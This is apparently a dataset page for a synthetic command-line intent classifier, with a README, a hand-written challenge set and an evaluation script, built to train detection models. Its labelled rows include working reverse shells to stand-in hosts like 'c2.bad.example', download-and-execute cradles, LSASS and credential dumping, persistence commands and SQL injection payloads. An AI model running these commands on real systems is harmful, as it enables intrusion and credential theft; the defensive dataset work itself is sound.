Datasets:
Tasks:
Text Classification
Modalities:
Text
Formats:
json
Languages:
English
Size:
10K - 100K
License:
Add script intent dataset
Browse files- README.md +131 -0
- data/challenge.jsonl +73 -0
- data/test.jsonl +0 -0
- data/train.jsonl +0 -0
- data/validation.jsonl +0 -0
- src/evaluate.py +110 -0
- src/generate_dataset.py +215 -0
- src/templates.py +647 -0
- src/train.py +80 -0
README.md
ADDED
|
@@ -0,0 +1,131 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
license: apache-2.0
|
| 3 |
+
language:
|
| 4 |
+
- en
|
| 5 |
+
pretty_name: Script & Payload Intent (Synthetic)
|
| 6 |
+
size_categories:
|
| 7 |
+
- 10K<n<100K
|
| 8 |
+
task_categories:
|
| 9 |
+
- text-classification
|
| 10 |
+
tags:
|
| 11 |
+
- cybersecurity
|
| 12 |
+
- security
|
| 13 |
+
- malware-detection
|
| 14 |
+
- command-line
|
| 15 |
+
- powershell
|
| 16 |
+
- bash
|
| 17 |
+
- sql-injection
|
| 18 |
+
- mitre-attack
|
| 19 |
+
- synthetic
|
| 20 |
+
configs:
|
| 21 |
+
- config_name: default
|
| 22 |
+
data_files:
|
| 23 |
+
- split: train
|
| 24 |
+
path: data/train.jsonl
|
| 25 |
+
- split: validation
|
| 26 |
+
path: data/validation.jsonl
|
| 27 |
+
- split: test
|
| 28 |
+
path: data/test.jsonl
|
| 29 |
+
- config_name: challenge
|
| 30 |
+
data_files:
|
| 31 |
+
- split: test
|
| 32 |
+
path: data/challenge.jsonl
|
| 33 |
+
---
|
| 34 |
+
|
| 35 |
+
# Script & Payload Intent (Synthetic)
|
| 36 |
+
|
| 37 |
+
Labeled command lines and query fragments from bash, PowerShell, Windows `cmd`, SQL and HTTP request
|
| 38 |
+
lines, each tagged with the **intent** behind it. It was built to train
|
| 39 |
+
[`DaveyD347/script-intent-distilroberta`](https://huggingface.co/DaveyD347/script-intent-distilroberta),
|
| 40 |
+
a classifier that triages process command lines, shell history and WAF logs.
|
| 41 |
+
|
| 42 |
+
| Label | What it covers | Example |
|
| 43 |
+
|---|---|---|
|
| 44 |
+
| `benign` | Everyday admin, dev and DBA work, including look-alikes such as `nc -zv`, downloads that aren't executed, base64 and encoded PowerShell | `sudo systemctl restart nginx` |
|
| 45 |
+
| `reconnaissance` | Host, user, network, privilege, cloud and AD discovery | `nmap -sV -sC -O 192.0.2.0/24` |
|
| 46 |
+
| `credential_harvesting` | LSASS/SAM/NTDS dumping, secrets in files, browsers, cloud metadata, Kerberoasting | `reg save HKLM\SAM C:\Windows\Temp\sam.save` |
|
| 47 |
+
| `reverse_shell` | Interactive callbacks to a listener in bash, Python, Perl, PHP, PowerShell, socat and similar | `bash -i >& /dev/tcp/192.0.2.10/4444 0>&1` |
|
| 48 |
+
| `persistence` | Cron, systemd, Run keys, scheduled tasks, WMI subscriptions, SSH keys, rogue accounts, web shells | `schtasks /create /tn "Updater" /tr C:\ProgramData\a.exe /sc onlogon` |
|
| 49 |
+
| `download_execute` | Fetching a remote payload and running it (stagers, LOLBins, cradles) | `IEX (New-Object Net.WebClient).DownloadString('http://192.0.2.5/a.ps1')` |
|
| 50 |
+
| `sql_injection` | Injection payloads as they appear in parameters, queries and request lines | `' UNION SELECT NULL,username,password FROM users-- -` |
|
| 51 |
+
|
| 52 |
+
## Splits
|
| 53 |
+
|
| 54 |
+
| Split | Rows | Templates | Purpose |
|
| 55 |
+
|---|---|---|---|
|
| 56 |
+
| `train` | 11,760 | 377 | Training (1,680 per class) |
|
| 57 |
+
| `validation` | 1,680 | 55 | Model selection |
|
| 58 |
+
| `test` | 3,360 | 108 | Final evaluation (480 per class) |
|
| 59 |
+
| `challenge` | 73 | n/a | Hand-written, out-of-template stress test |
|
| 60 |
+
|
| 61 |
+
**The splits are template-disjoint.** Every row comes from one of 540 templates, and each template is
|
| 62 |
+
assigned to exactly one split, so the test set measures whether a model generalizes to *command
|
| 63 |
+
patterns it never saw* rather than to new IPs or file names in familiar commands. A random split would
|
| 64 |
+
inflate scores close to 100%. Exact-duplicate texts across splits are removed.
|
| 65 |
+
|
| 66 |
+
The `challenge` config holds 73 commands written by hand after the templates were final, with different
|
| 67 |
+
IP ranges, tools and phrasing (for example `naabu`, `trufflehog`, `pypykatz`, `finger | cmd` stagers and
|
| 68 |
+
`msbuild` loaders). None of them come from a template. It is small, so treat its score as a sanity check, not a benchmark.
|
| 69 |
+
|
| 70 |
+
## Fields
|
| 71 |
+
|
| 72 |
+
| Field | Type | Description |
|
| 73 |
+
|---|---|---|
|
| 74 |
+
| `text` | string | The command line, script fragment, query or request line |
|
| 75 |
+
| `label` | string | One of the seven labels above |
|
| 76 |
+
| `label_id` | int | Index of `label` in the order listed above |
|
| 77 |
+
| `language` | string | `bash`, `powershell`, `cmd`, `sql` or `http` |
|
| 78 |
+
| `mitre_technique` | string or null | MITRE ATT&CK technique ID for malicious rows (null for benign) |
|
| 79 |
+
| `template_id` | string | Source template, for group-aware splitting and error analysis |
|
| 80 |
+
|
| 81 |
+
## How it was made
|
| 82 |
+
|
| 83 |
+
1. **Templates.** 540 hand-written templates: 389 malicious ones, each a known technique documented publicly in
|
| 84 |
+
MITRE ATT&CK, Atomic Red Team, Sigma rules or common pentest cheat sheets, plus 151 benign templates
|
| 85 |
+
drawn from routine Linux, Windows, container, cloud and SQL administration.
|
| 86 |
+
2. **Slot filling.** IPs, ports, users, domains, paths, file names, service names, tables and base64
|
| 87 |
+
blobs are randomized per row. Base64 slots carry real encodings (UTF-16LE for PowerShell
|
| 88 |
+
`-EncodedCommand`) of either malicious or benign commands, so encoded text appears in both classes.
|
| 89 |
+
3. **Augmentation.** Random casing for Windows commands, absolute binary paths, `sudo` prefixes,
|
| 90 |
+
`cmd.exe /c` and `powershell.exe -Command` wrappers, doubled spaces, and SQL-injection-specific
|
| 91 |
+
prefix, comment, case and whitespace-encoding variants.
|
| 92 |
+
|
| 93 |
+
Reproduce with `python src/generate_dataset.py --out data --per-class 2400 --seed 42`.
|
| 94 |
+
|
| 95 |
+
### Safety and privacy
|
| 96 |
+
|
| 97 |
+
- **No real infrastructure.** All IPs are RFC 5737 documentation ranges (`192.0.2.0/24`,
|
| 98 |
+
`198.51.100.0/24`, `203.0.113.0/24`) in the generated splits and RFC 1918 private ranges in the challenge set; domains use `.example`/`.test` or `example.com`-style names.
|
| 99 |
+
- **No real people or secrets.** Usernames, passwords and SSH keys are fake placeholders.
|
| 100 |
+
- **No novel tooling.** Every malicious pattern is a publicly documented technique that defenders
|
| 101 |
+
already write detections for. The dataset contains command *strings*, not binaries or exploits.
|
| 102 |
+
|
| 103 |
+
## Limitations
|
| 104 |
+
|
| 105 |
+
- **Synthetic distribution.** Real command lines are longer, messier and more varied. Expect lower
|
| 106 |
+
accuracy on production telemetry than on this test split.
|
| 107 |
+
- **One label per row.** Real attacks chain intents (a cron job that opens a reverse shell is both
|
| 108 |
+
persistence and a reverse shell). Each row gets the label of its *primary* intent; a cron entry is
|
| 109 |
+
labeled `persistence` even if its payload is a reverse shell.
|
| 110 |
+
- **Context-free.** Some commands (`whoami`, `net user`, `sudo -l`) are benign or reconnaissance
|
| 111 |
+
depending on who runs them and when. The dataset labels them by their typical use in attack
|
| 112 |
+
chains, and the `benign` class includes the most common everyday forms.
|
| 113 |
+
- **Obfuscation coverage is shallow.** Heavy obfuscation (Invoke-Obfuscation, string concatenation,
|
| 114 |
+
environment-variable tricks) is mostly absent.
|
| 115 |
+
- **English, Latin-script only.** Comments and identifiers are English.
|
| 116 |
+
|
| 117 |
+
## Intended use
|
| 118 |
+
|
| 119 |
+
Training and evaluating command-line intent classifiers, detection-engineering prototypes, and
|
| 120 |
+
teaching. It should not be the only signal in a production detection pipeline.
|
| 121 |
+
|
| 122 |
+
## Citation
|
| 123 |
+
|
| 124 |
+
```bibtex
|
| 125 |
+
@misc{script_intent_2026,
|
| 126 |
+
title = {Script & Payload Intent (Synthetic)},
|
| 127 |
+
author = {DaveyD347},
|
| 128 |
+
year = {2026},
|
| 129 |
+
url = {https://huggingface.co/datasets/DaveyD347/script-intent-commands}
|
| 130 |
+
}
|
| 131 |
+
```
|
data/challenge.jsonl
ADDED
|
@@ -0,0 +1,73 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{"text": "sudo journalctl --vacuum-time=7d", "label": "benign", "language": "bash"}
|
| 2 |
+
{"text": "curl -fsSL https://deb.nodesource.com/setup_20.x -o nodesource_setup.sh && cat nodesource_setup.sh | less", "label": "benign", "language": "bash"}
|
| 3 |
+
{"text": "python3 manage.py migrate && python3 manage.py collectstatic --noinput", "label": "benign", "language": "bash"}
|
| 4 |
+
{"text": "sudo iptables -L -n -v", "label": "benign", "language": "bash"}
|
| 5 |
+
{"text": "openssl rand -base64 32", "label": "benign", "language": "bash"}
|
| 6 |
+
{"text": "git remote -v && git fetch --all --prune", "label": "benign", "language": "bash"}
|
| 7 |
+
{"text": "nc -l 9000 > received.tar", "label": "benign", "language": "bash"}
|
| 8 |
+
{"text": "watch -n 5 'kubectl get hpa -n prod'", "label": "benign", "language": "bash"}
|
| 9 |
+
{"text": "sudo lsof -i :8080", "label": "benign", "language": "bash"}
|
| 10 |
+
{"text": "zip -r site-backup.zip /var/www/site", "label": "benign", "language": "bash"}
|
| 11 |
+
{"text": "cat ~/.ssh/known_hosts | wc -l", "label": "benign", "language": "bash"}
|
| 12 |
+
{"text": "sudo apt autoremove -y && sudo apt clean", "label": "benign", "language": "bash"}
|
| 13 |
+
{"text": "Get-Printer | Where-Object PrinterStatus -ne 'Normal'", "label": "benign", "language": "powershell"}
|
| 14 |
+
{"text": "Measure-Command { Invoke-Pester .\\tests }", "label": "benign", "language": "powershell"}
|
| 15 |
+
{"text": "Get-NetFirewallRule -Enabled True | Select-Object DisplayName, Direction", "label": "benign", "language": "powershell"}
|
| 16 |
+
{"text": "New-PSDrive -Name S -PSProvider FileSystem -Root \\\\fileserver01\\shared", "label": "benign", "language": "powershell"}
|
| 17 |
+
{"text": "ping -t 10.1.1.1", "label": "benign", "language": "cmd"}
|
| 18 |
+
{"text": "xcopy C:\\Projects D:\\Archive /E /I /Y", "label": "benign", "language": "cmd"}
|
| 19 |
+
{"text": "w32tm /resync", "label": "benign", "language": "cmd"}
|
| 20 |
+
{"text": "SELECT department, AVG(salary) FROM employees GROUP BY department ORDER BY 2 DESC;", "label": "benign", "language": "sql"}
|
| 21 |
+
{"text": "WITH recent AS (SELECT * FROM orders WHERE order_date > CURRENT_DATE - 30) SELECT COUNT(*) FROM recent;", "label": "benign", "language": "sql"}
|
| 22 |
+
{"text": "TRUNCATE TABLE staging_events;", "label": "benign", "language": "sql"}
|
| 23 |
+
{"text": "GET /static/js/app.4f2a1c.js HTTP/1.1", "label": "benign", "language": "http"}
|
| 24 |
+
{"text": "naabu -host 10.20.30.40 -top-ports 1000", "label": "reconnaissance", "language": "bash"}
|
| 25 |
+
{"text": "nuclei -u https://intranet.target.example -severity critical,high", "label": "reconnaissance", "language": "bash"}
|
| 26 |
+
{"text": "cat /proc/net/tcp; cat /proc/net/arp", "label": "reconnaissance", "language": "bash"}
|
| 27 |
+
{"text": "lsb_release -a; cat /etc/crontab; ls /etc/cron.d", "label": "reconnaissance", "language": "bash"}
|
| 28 |
+
{"text": "for h in $(cat hosts.txt); do host $h; done", "label": "reconnaissance", "language": "bash"}
|
| 29 |
+
{"text": "ldapdomaindump -u 'CORP\\jdoe' -p 'Spring2025!' 10.20.30.5", "label": "reconnaissance", "language": "bash"}
|
| 30 |
+
{"text": "Get-CimInstance Win32_Process | Select-Object Name, CommandLine", "label": "reconnaissance", "language": "powershell"}
|
| 31 |
+
{"text": "Get-DomainController; Get-DomainPolicy", "label": "reconnaissance", "language": "powershell"}
|
| 32 |
+
{"text": "Get-NetSession -ComputerName FS01; Get-NetLoggedon -ComputerName FS01", "label": "reconnaissance", "language": "powershell"}
|
| 33 |
+
{"text": "adfind.exe -f \"(objectcategory=computer)\" -csv name operatingSystem", "label": "reconnaissance", "language": "cmd"}
|
| 34 |
+
{"text": "net accounts /domain", "label": "reconnaissance", "language": "cmd"}
|
| 35 |
+
{"text": "SharpHound.exe -c All --zipfilename out.zip", "label": "reconnaissance", "language": "cmd"}
|
| 36 |
+
{"text": "SELECT @@hostname, @@datadir, @@version_compile_os;", "label": "reconnaissance", "language": "sql"}
|
| 37 |
+
{"text": "grep -rhoE 'AKIA[0-9A-Z]{16}' / 2>/dev/null", "label": "credential_harvesting", "language": "bash"}
|
| 38 |
+
{"text": "mimipenguin", "label": "credential_harvesting", "language": "bash"}
|
| 39 |
+
{"text": "cat /etc/NetworkManager/system-connections/* | grep psk=", "label": "credential_harvesting", "language": "bash"}
|
| 40 |
+
{"text": "trufflehog filesystem / --only-verified", "label": "credential_harvesting", "language": "bash"}
|
| 41 |
+
{"text": "nxc smb 10.20.30.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee --sam", "label": "credential_harvesting", "language": "bash"}
|
| 42 |
+
{"text": "Get-Process -Name lsass | ForEach-Object { & procdump64.exe -ma $_.Id C:\\Windows\\Tasks\\l.dmp }", "label": "credential_harvesting", "language": "powershell"}
|
| 43 |
+
{"text": "Invoke-WCMDump", "label": "credential_harvesting", "language": "powershell"}
|
| 44 |
+
{"text": "(Get-ItemProperty 'HKCU:\\Software\\SimonTatham\\PuTTY\\Sessions\\*').ProxyPassword", "label": "credential_harvesting", "language": "powershell"}
|
| 45 |
+
{"text": "pypykatz lsa minidump lsass.dmp", "label": "credential_harvesting", "language": "cmd"}
|
| 46 |
+
{"text": "copy %LOCALAPPDATA%\\Microsoft\\Edge\\\"User Data\"\\Default\\\"Login Data\" C:\\Windows\\Tasks\\ld", "label": "credential_harvesting", "language": "cmd"}
|
| 47 |
+
{"text": "bash -c 'sh -i >& /dev/tcp/172.16.5.9/7777 0>&1'", "label": "reverse_shell", "language": "bash"}
|
| 48 |
+
{"text": "mkfifo /tmp/p; nc 172.16.5.9 7777 0</tmp/p | /bin/bash 1>/tmp/p", "label": "reverse_shell", "language": "bash"}
|
| 49 |
+
{"text": "python3 -c 'import socket,os,subprocess;s=socket.create_connection((\"c2.bad.example\",8443));subprocess.Popen([\"/bin/bash\",\"-i\"],stdin=s,stdout=s,stderr=s)'", "label": "reverse_shell", "language": "bash"}
|
| 50 |
+
{"text": "pwncat-cs 172.16.5.9 7777", "label": "reverse_shell", "language": "bash"}
|
| 51 |
+
{"text": "stty raw -echo; (stty size; cat) | nc 172.16.5.9 7777 | sh", "label": "reverse_shell", "language": "bash"}
|
| 52 |
+
{"text": "$t=New-Object Net.Sockets.TcpClient('c2.bad.example',443);$n=$t.GetStream();$w=New-Object IO.StreamWriter($n);while($t.Connected){$r=New-Object IO.StreamReader($n);$c=$r.ReadLine();$o=iex $c|Out-String;$w.Write($o);$w.Flush()}", "label": "reverse_shell", "language": "powershell"}
|
| 53 |
+
{"text": "C:\\Windows\\Tasks\\ncat.exe c2.bad.example 443 -e cmd.exe", "label": "reverse_shell", "language": "cmd"}
|
| 54 |
+
{"text": "echo '*/2 * * * * root curl -s http://172.16.5.9/x | sh' > /etc/cron.d/0hourly2", "label": "persistence", "language": "bash"}
|
| 55 |
+
{"text": "echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIexample attacker' >> /root/.ssh/authorized_keys2", "label": "persistence", "language": "bash"}
|
| 56 |
+
{"text": "chmod u+s /bin/bash", "label": "persistence", "language": "bash"}
|
| 57 |
+
{"text": "systemctl --user enable --now updater.timer", "label": "persistence", "language": "bash"}
|
| 58 |
+
{"text": "Set-ItemProperty 'HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon' -Name Shell -Value 'explorer.exe, C:\\Windows\\Tasks\\s.exe'", "label": "persistence", "language": "powershell"}
|
| 59 |
+
{"text": "schtasks /create /tn \"\\Microsoft\\Windows\\Maintenance\\Update\" /tr C:\\Windows\\Tasks\\u.exe /sc daily /st 09:00 /ru SYSTEM", "label": "persistence", "language": "cmd"}
|
| 60 |
+
{"text": "wmic /namespace:\\\\root\\subscription path __EventFilter create Name=\"Upd\", EventNameSpace=\"root\\cimv2\", QueryLanguage=\"WQL\", Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LogonSession'\"", "label": "persistence", "language": "cmd"}
|
| 61 |
+
{"text": "curl -sL https://paste.bad.example/raw/abc123 | python3", "label": "download_execute", "language": "bash"}
|
| 62 |
+
{"text": "wget -qO /tmp/k http://172.16.5.9/k && chmod +x /tmp/k && /tmp/k -daemon", "label": "download_execute", "language": "bash"}
|
| 63 |
+
{"text": "aria2c http://172.16.5.9/miner -d /dev/shm && /dev/shm/miner", "label": "download_execute", "language": "bash"}
|
| 64 |
+
{"text": "& ([scriptblock]::Create((New-Object Net.WebClient).DownloadString('https://paste.bad.example/raw/ps')))", "label": "download_execute", "language": "powershell"}
|
| 65 |
+
{"text": "curl.exe -o $env:PUBLIC\\a.exe http://172.16.5.9/a.exe; Start-Process $env:PUBLIC\\a.exe", "label": "download_execute", "language": "powershell"}
|
| 66 |
+
{"text": "finger loader@172.16.5.9 | more +2 | cmd", "label": "download_execute", "language": "cmd"}
|
| 67 |
+
{"text": "msbuild.exe \\\\172.16.5.9\\share\\payload.csproj", "label": "download_execute", "language": "cmd"}
|
| 68 |
+
{"text": "1' AND '1'='1", "label": "sql_injection", "language": "sql"}
|
| 69 |
+
{"text": "' UNION SELECT credit_card, cvv FROM payments--", "label": "sql_injection", "language": "sql"}
|
| 70 |
+
{"text": "1)) OR ((1=1", "label": "sql_injection", "language": "sql"}
|
| 71 |
+
{"text": "'||(SELECT pg_sleep(10))||'", "label": "sql_injection", "language": "sql"}
|
| 72 |
+
{"text": "/products?category=Gifts'+OR+1=1--", "label": "sql_injection", "language": "http"}
|
| 73 |
+
{"text": "POST /api/search {\"q\": \"x' UNION SELECT password FROM admins--\"}", "label": "sql_injection", "language": "http"}
|
data/test.jsonl
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
data/train.jsonl
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
data/validation.jsonl
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
src/evaluate.py
ADDED
|
@@ -0,0 +1,110 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""Evaluate a trained model on the template-disjoint test split and the
|
| 2 |
+
hand-written challenge set. Writes outputs/eval/metrics.json and a confusion matrix.
|
| 3 |
+
|
| 4 |
+
Usage: python src/evaluate.py --model outputs/model --data data
|
| 5 |
+
"""
|
| 6 |
+
import argparse
|
| 7 |
+
import json
|
| 8 |
+
import os
|
| 9 |
+
import sys
|
| 10 |
+
|
| 11 |
+
import numpy as np
|
| 12 |
+
import torch
|
| 13 |
+
from sklearn.metrics import classification_report, confusion_matrix
|
| 14 |
+
from transformers import AutoModelForSequenceClassification, AutoTokenizer
|
| 15 |
+
|
| 16 |
+
sys.path.insert(0, os.path.dirname(__file__))
|
| 17 |
+
from templates import LABELS # noqa: E402
|
| 18 |
+
|
| 19 |
+
BENIGN = LABELS.index("benign")
|
| 20 |
+
|
| 21 |
+
|
| 22 |
+
def load(path):
|
| 23 |
+
with open(path) as f:
|
| 24 |
+
return [json.loads(l) for l in f if l.strip()]
|
| 25 |
+
|
| 26 |
+
|
| 27 |
+
@torch.no_grad()
|
| 28 |
+
def predict(model, tok, texts, bs=64):
|
| 29 |
+
preds, probs = [], []
|
| 30 |
+
for i in range(0, len(texts), bs):
|
| 31 |
+
b = tok(texts[i:i + bs], truncation=True, max_length=128, padding=True, return_tensors="pt")
|
| 32 |
+
p = model(**b).logits.softmax(-1)
|
| 33 |
+
probs.append(p.numpy())
|
| 34 |
+
preds.extend(p.argmax(-1).tolist())
|
| 35 |
+
return np.array(preds), np.concatenate(probs)
|
| 36 |
+
|
| 37 |
+
|
| 38 |
+
def summarize(rows, preds):
|
| 39 |
+
y = np.array([LABELS.index(r["label"]) for r in rows])
|
| 40 |
+
rep = classification_report(y, preds, labels=list(range(len(LABELS))), target_names=LABELS,
|
| 41 |
+
output_dict=True, zero_division=0)
|
| 42 |
+
cm = confusion_matrix(y, preds, labels=list(range(len(LABELS))))
|
| 43 |
+
is_mal, pred_mal = y != BENIGN, preds != BENIGN
|
| 44 |
+
binary = {
|
| 45 |
+
"false_positive_rate": float((pred_mal & ~is_mal).sum() / max(1, (~is_mal).sum())),
|
| 46 |
+
"detection_rate": float((pred_mal & is_mal).sum() / max(1, is_mal.sum())),
|
| 47 |
+
"false_negative_rate": float((~pred_mal & is_mal).sum() / max(1, is_mal.sum())),
|
| 48 |
+
}
|
| 49 |
+
by_lang = {}
|
| 50 |
+
for lang in sorted({r.get("language", "?") for r in rows}):
|
| 51 |
+
m = np.array([r.get("language") == lang for r in rows])
|
| 52 |
+
by_lang[lang] = {"n": int(m.sum()), "accuracy": float((preds[m] == y[m]).mean())}
|
| 53 |
+
return {"n": len(rows), "accuracy": float((preds == y).mean()), "report": rep,
|
| 54 |
+
"confusion_matrix": cm.tolist(), "binary": binary, "by_language": by_lang}
|
| 55 |
+
|
| 56 |
+
|
| 57 |
+
def main():
|
| 58 |
+
ap = argparse.ArgumentParser()
|
| 59 |
+
ap.add_argument("--model", default="outputs/model")
|
| 60 |
+
ap.add_argument("--data", default="data")
|
| 61 |
+
ap.add_argument("--out", default="outputs/eval")
|
| 62 |
+
args = ap.parse_args()
|
| 63 |
+
os.makedirs(args.out, exist_ok=True)
|
| 64 |
+
tok = AutoTokenizer.from_pretrained(args.model)
|
| 65 |
+
model = AutoModelForSequenceClassification.from_pretrained(args.model).eval()
|
| 66 |
+
|
| 67 |
+
results = {}
|
| 68 |
+
for name, path in [("test", f"{args.data}/test.jsonl"), ("challenge", f"{args.data}/challenge.jsonl")]:
|
| 69 |
+
if not os.path.exists(path):
|
| 70 |
+
continue
|
| 71 |
+
rows = load(path)
|
| 72 |
+
preds, _ = predict(model, tok, [r["text"] for r in rows])
|
| 73 |
+
results[name] = summarize(rows, preds)
|
| 74 |
+
results[name]["errors"] = [
|
| 75 |
+
{"text": r["text"], "label": r["label"], "pred": LABELS[p]}
|
| 76 |
+
for r, p in zip(rows, preds) if LABELS[p] != r["label"]][:50]
|
| 77 |
+
s = results[name]
|
| 78 |
+
print(f"\n== {name} (n={s['n']}) accuracy={s['accuracy']:.4f} "
|
| 79 |
+
f"macroF1={s['report']['macro avg']['f1-score']:.4f} "
|
| 80 |
+
f"FPR={s['binary']['false_positive_rate']:.4f} DR={s['binary']['detection_rate']:.4f}")
|
| 81 |
+
for l in LABELS:
|
| 82 |
+
r = s["report"][l]
|
| 83 |
+
print(f" {l:24s} P={r['precision']:.3f} R={r['recall']:.3f} F1={r['f1-score']:.3f} n={int(r['support'])}")
|
| 84 |
+
|
| 85 |
+
with open(os.path.join(args.out, "metrics.json"), "w") as f:
|
| 86 |
+
json.dump(results, f, indent=1)
|
| 87 |
+
|
| 88 |
+
try:
|
| 89 |
+
import matplotlib
|
| 90 |
+
matplotlib.use("Agg")
|
| 91 |
+
import matplotlib.pyplot as plt
|
| 92 |
+
cm = np.array(results["test"]["confusion_matrix"])
|
| 93 |
+
fig, ax = plt.subplots(figsize=(7.5, 6.5))
|
| 94 |
+
ax.imshow(cm, cmap="Blues")
|
| 95 |
+
ax.set_xticks(range(len(LABELS)), LABELS, rotation=45, ha="right")
|
| 96 |
+
ax.set_yticks(range(len(LABELS)), LABELS)
|
| 97 |
+
for i in range(len(LABELS)):
|
| 98 |
+
for j in range(len(LABELS)):
|
| 99 |
+
ax.text(j, i, cm[i, j], ha="center", va="center",
|
| 100 |
+
color="white" if cm[i, j] > cm.max() / 2 else "black", fontsize=9)
|
| 101 |
+
ax.set_xlabel("Predicted"); ax.set_ylabel("True")
|
| 102 |
+
ax.set_title("Confusion matrix: template-disjoint test split")
|
| 103 |
+
fig.tight_layout()
|
| 104 |
+
fig.savefig(os.path.join(args.out, "confusion_matrix.png"), dpi=150)
|
| 105 |
+
except ImportError:
|
| 106 |
+
pass
|
| 107 |
+
|
| 108 |
+
|
| 109 |
+
if __name__ == "__main__":
|
| 110 |
+
main()
|
src/generate_dataset.py
ADDED
|
@@ -0,0 +1,215 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
